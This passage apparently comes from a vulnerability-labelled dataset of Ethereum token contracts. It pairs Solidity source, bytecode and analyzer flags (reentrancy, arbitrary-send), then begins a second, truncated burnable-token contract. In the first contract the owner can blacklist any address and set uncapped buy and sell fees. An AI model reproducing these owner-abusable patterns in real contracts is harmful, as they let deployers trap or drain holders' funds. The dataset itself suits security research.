10**9; uint256 public _minimumBuyAmount = 2e10 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 2 minutes) { require(amount <= _minimumBuyAmount, "Amount too much"); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function initPair() external onlyOwner{ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { timeJeets = hoursTime * 1 hours; } }
0x6080604052600436106102295760003560e01c8063715018a6116101235780639ec350ed116100ab578063e0f9f6a01161006f578063e0f9f6a014610691578063ea1644d5146106b1578063f2fde38b146106d1578063fe72c3c1146106f1578063feb1dfcc1461070757600080fd5b80639ec350ed146105cb5780639f131571146105eb578063a9059cbb1461060b578063c55284901461062b578063dd62ed3e1461064b57600080fd5b80637d1db4a5116100f25780637d1db4a514610534578063881dce601461054a5780638da5cb5b1461056a5780638f9a55c01461058857806395d89b411461059e57600080fd5b8063715018a6146104d457806374010ece146104e9578063790ca413146105095780637c519ffb1461051f57600080fd5b8063313ce567116101b15780635d098b38116101755780635d098b38146104495780636b9cf534146104695780636d8aa8f81461047f5780636fc3eaec1461049f57806370a08231146104b457600080fd5b8063313ce567146103ad57806333251a0b146103c957806338eea22d146103e957806349bd5a5e146104095780634bf2c7c91461042957600080fd5b806318160ddd116101f857806318160ddd1461031957806323b872dd1461033f57806327c8f8351461035f57806328bb665a146103755780632fd689e31461039757600080fd5b806306fdde0314610235578063095ea7b3146102785780630f3a325f146102a85780631694505e146102e157600080fd5b3661023057005b600080fd5b34801561024157600080fd5b506040805180820190915260088152675a65726f20496e7560c01b60208201525b60405161026f9190611ed9565b60405180910390f35b34801561028457600080fd5b50610298610293366004611f53565b61071c565b604051901515815260200161026f565b3480156102b457600080fd5b506102986102c3366004611f7f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ed57600080fd5b50601954610301906001600160a01b031681565b6040516001600160a01b03909116815260200161026f565b34801561032557600080fd5b50683635c9adc5dea000005b60405190815260200161026f565b34801561034b57600080fd5b5061029861035a366004611f9c565b610733565b34801561036b57600080fd5b5061030161dead81565b34801561038157600080fd5b50610395610390366004611ff3565b61079c565b005b3480156103a357600080fd5b50610331601d5481565b3480156103b957600080fd5b506040516009815260200161026f565b3480156103d557600080fd5b506103956103e4366004611f7f565b61083b565b3480156103f557600080fd5b506103956104043660046120b8565b6108aa565b34801561041557600080fd5b50601a54610301906001600160a01b031681565b34801561043557600080fd5b506103956104443660046120da565b6108df565b34801561045557600080fd5b50610395610464366004611f7f565b61090e565b34801561047557600080fd5b50610331601e5481565b34801561048b57600080fd5b5061039561049a3660046120f3565b610968565b3480156104ab57600080fd5b506103956109b0565b3480156104c057600080fd5b506103316104cf366004611f7f565b6109da565b3480156104e057600080fd5b506103956109fc565b3480156104f557600080fd5b506103956105043660046120da565b610a70565b34801561051557600080fd5b50610331600a5481565b34801561052b57600080fd5b50610395610a9f565b34801561054057600080fd5b50610331601b5481565b34801561055657600080fd5b506103956105653660046120da565b610af9565b34801561057657600080fd5b506000546001600160a01b0316610301565b34801561059457600080fd5b50610331601c5481565b3480156105aa57600080fd5b506040805180820190915260048152635a45524f60e01b6020820152610262565b3480156105d757600080fd5b506103956105e63660046120b8565b610b75565b3480156105f757600080fd5b506103956106063660046120f3565b610baa565b34801561061757600080fd5b50610298610626366004611f53565b610bf2565b34801561063757600080fd5b506103956106463660046120b8565b610bff565b34801561065757600080fd5b50610331610666366004612115565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b34801561069d57600080fd5b506103956106ac3660046120da565b610c34565b3480156106bd57600080fd5b506103956106cc3660046120da565b610c70565b3480156106dd57600080fd5b506103956106ec366004611f7f565b610c9f565b3480156106fd57600080fd5b5061033160185481565b34801561071357600080fd5b50610395610d89565b6000610729338484610f41565b5060015b92915050565b6000610740848484611065565b610792843361078d856040518060600160405280602881526020016122f0602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061178b565b610f41565b5060019392505050565b6000546001600160a01b031633146107cf5760405162461bcd60e51b81526004016107c69061214e565b60405180910390fd5b60005b8151811015610837576001600960008484815181106107f3576107f3612183565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061082f816121af565b9150506107d2565b5050565b6000546001600160a01b031633146108655760405162461bcd60e51b81526004016107c69061214e565b6001600160a01b03811660009081526009602052604090205460ff16156108a7576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108d45760405162461bcd60e51b81526004016107c69061214e565b600d91909155600f55565b6000546001600160a01b031633146109095760405162461bcd60e51b81526004016107c69061214e565b601355565b6017546001600160a01b0316336001600160a01b03161461092e57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109925760405162461bcd60e51b81526004016107c69061214e565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109d057600080fd5b476108a7816117c5565b6001600160a01b03811660009081526002602052604081205461072d906117ff565b6000546001600160a01b03163314610a265760405162461bcd60e51b81526004016107c69061214e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a9a5760405162461bcd60e51b81526004016107c69061214e565b601b55565b6000546001600160a01b03163314610ac95760405162461bcd60e51b81526004016107c69061214e565b601a54600160a01b900460ff1615610ae057600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610b1957600080fd5b610b22306109da565b8111158015610b315750600081115b610b6c5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107c6565b6108a781611883565b6000546001600160a01b03163314610b9f5760405162461bcd60e51b81526004016107c69061214e565b600b91909155600c55565b6000546001600160a01b03163314610bd45760405162461bcd60e51b81526004016107c69061214e565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b6000610729338484611065565b6000546001600160a01b03163314610c295760405162461bcd60e51b81526004016107c69061214e565b600e91909155601055565b6000546001600160a01b03163314610c5e5760405162461bcd60e51b81526004016107c69061214e565b610c6a81610e106121ca565b60185550565b6000546001600160a01b03163314610c9a5760405162461bcd60e51b81526004016107c69061214e565b601c55565b6000546001600160a01b03163314610cc95760405162461bcd60e51b81526004016107c69061214e565b6001600160a01b038116610d2e5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107c6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610db35760405162461bcd60e51b81526004016107c69061214e565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610e18573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3c91906121e9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e89573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ead91906121e9565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610efa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1e91906121e9565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b038316610fa35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107c6565b6001600160a01b0382166110045760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107c6565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110c95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107c6565b6001600160a01b03821661112b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107c6565b6000811161118d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107c6565b6001600160a01b03821660009081526009602052604090205460ff16156111c65760405162461bcd60e51b81526004016107c690612206565b6001600160a01b03831660009081526009602052604090205460ff16156111ff5760405162461bcd60e51b81526004016107c690612206565b3360009081526009602052604090205460ff161561122f5760405162461bcd60e51b81526004016107c690612206565b6000546001600160a01b0384811691161480159061125b57506000546001600160a01b03838116911614155b156115d357601a54600160a01b900460ff166112b95760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107c6565b601a546001600160a01b0383811691161480156112e457506019546001600160a01b03848116911614155b15611396576001600160a01b038216301480159061130b57506001600160a01b0383163014155b801561132557506017546001600160a01b03838116911614155b801561133f57506017546001600160a01b03848116911614155b1561139657601b548111156113965760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107c6565b601a546001600160a01b038381169116148015906113c257506017546001600160a01b03838116911614155b80156113d757506001600160a01b0382163014155b80156113ee57506001600160a01b03821661dead14155b156114cd57601c5481611400846109da565b61140a919061222d565b106114635760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107c6565b601a54600160b81b900460ff16156114cd57600a5461148390607861222d565b42116114cd57601e548111156114cd5760405162461bcd60e51b815260206004820152600f60248201526e082dadeeadce840e8dede40daeac6d608b1b60448201526064016107c6565b60006114d8306109da565b601d5490915081118080156114f75750601a54600160a81b900460ff16155b80156115115750601a546001600160a01b03868116911614155b80156115265750601a54600160b01b900460ff165b801561154b57506001600160a01b03851660009081526006602052604090205460ff16155b801561157057506001600160a01b03841660009081526006602052604090205460ff16155b156115d057601354600090156115ab576115a0606461159a601354866119fd90919063ffffffff16565b90611a7c565b90506115ab81611abe565b6115bd6115b88285612245565b611883565b4780156115cd576115cd476117c5565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061161557506001600160a01b03831660009081526006602052604090205460ff165b806116475750601a546001600160a01b038581169116148015906116475750601a546001600160a01b03848116911614155b1561165457506000611779565b601a546001600160a01b03858116911614801561167f57506019546001600160a01b03848116911614155b156116da576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a5414156116da576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561170557506019546001600160a01b03858116911614155b15611779576001600160a01b0384166000908152600460205260409020541580159061175657506018546001600160a01b03851660009081526004602052604090205442916117539161222d565b10155b1561176c57600b54601155600c54601255611779565b600f546011556010546012555b61178584848484611acb565b50505050565b600081848411156117af5760405162461bcd60e51b81526004016107c69190611ed9565b5060006117bc8486612245565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610837573d6000803e3d6000fd5b60006007548211156118665760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107c6565b6000611870611aff565b905061187c8382611a7c565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118cb576118cb612183565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611924573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061194891906121e9565b8160018151811061195b5761195b612183565b6001600160a01b0392831660209182029290920101526019546119819130911684610f41565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906119ba90859060009086903090429060040161225c565b600060405180830381600087803b1580156119d457600080fd5b505af11580156119e8573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611a0c5750600061072d565b6000611a1883856121ca565b905082611a2585836122cd565b1461187c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107c6565b600061187c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b22565b6108a73061dead83611065565b80611ad857611ad8611b50565b611ae3848484611b95565b8061178557611785601454601155601554601255601654601355565b6000806000611b0c611c8c565b9092509050611b1b8282611a7c565b9250505090565b60008183611b435760405162461bcd60e51b81526004016107c69190611ed9565b5060006117bc84866122cd565b601154158015611b605750601254155b8015611b6c5750601354155b15611b7357565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611ba787611cce565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611bd99087611d2b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c089086611d6d565b6001600160a01b038916600090815260026020526040902055611c2a81611dcc565b611c348483611e16565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c7991815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea00000611ca88282611a7c565b821015611cc557505060075492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611ceb8a601154601254611e3a565b9250925092506000611cfb611aff565b90506000806000611d0e8e878787611e89565b919e509c509a509598509396509194505050505091939550919395565b600061187c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061178b565b600080611d7a838561222d565b90508381101561187c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107c6565b6000611dd6611aff565b90506000611de483836119fd565b30600090815260026020526040902054909150611e019082611d6d565b30600090815260026020526040902055505050565b600754611e239083611d2b565b600755600854611e339082611d6d565b6008555050565b6000808080611e4e606461159a89896119fd565b90506000611e61606461159a8a896119fd565b90506000611e7982611e738b86611d2b565b90611d2b565b9992985090965090945050505050565b6000808080611e9888866119fd565b90506000611ea688876119fd565b90506000611eb488886119fd565b90506000611ec682611e738686611d2b565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611f0657858101830151858201604001528201611eea565b81811115611f18576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108a757600080fd5b8035611f4e81611f2e565b919050565b60008060408385031215611f6657600080fd5b8235611f7181611f2e565b946020939093013593505050565b600060208284031215611f9157600080fd5b813561187c81611f2e565b600080600060608486031215611fb157600080fd5b8335611fbc81611f2e565b92506020840135611fcc81611f2e565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561200657600080fd5b823567ffffffffffffffff8082111561201e57600080fd5b818501915085601f83011261203257600080fd5b81358181111561204457612044611fdd565b8060051b604051601f19603f8301168101818110858211171561206957612069611fdd565b60405291825284820192508381018501918883111561208757600080fd5b938501935b828510156120ac5761209d85611f43565b8452938501939285019261208c565b98975050505050505050565b600080604083850312156120cb57600080fd5b50508035926020909101359150565b6000602082840312156120ec57600080fd5b5035919050565b60006020828403121561210557600080fd5b8135801515811461187c57600080fd5b6000806040838503121561212857600080fd5b823561213381611f2e565b9150602083013561214381611f2e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156121c3576121c3612199565b5060010190565b60008160001904831182151516156121e4576121e4612199565b500290565b6000602082840312156121fb57600080fd5b815161187c81611f2e565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b6000821982111561224057612240612199565b500190565b60008282101561225757612257612199565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156122ac5784516001600160a01b031683529383019391830191600101612287565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826122ea57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207b9c694796c6397f8024ed8d07342bc8ba1f9fd89ba3bf35ac5963e5b7f95b5164736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
4,885
0x67a2f7c7ec5ba1c1be768d8065d71566cadfdeef
pragma solidity 0.4.23; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) public balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval (address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = 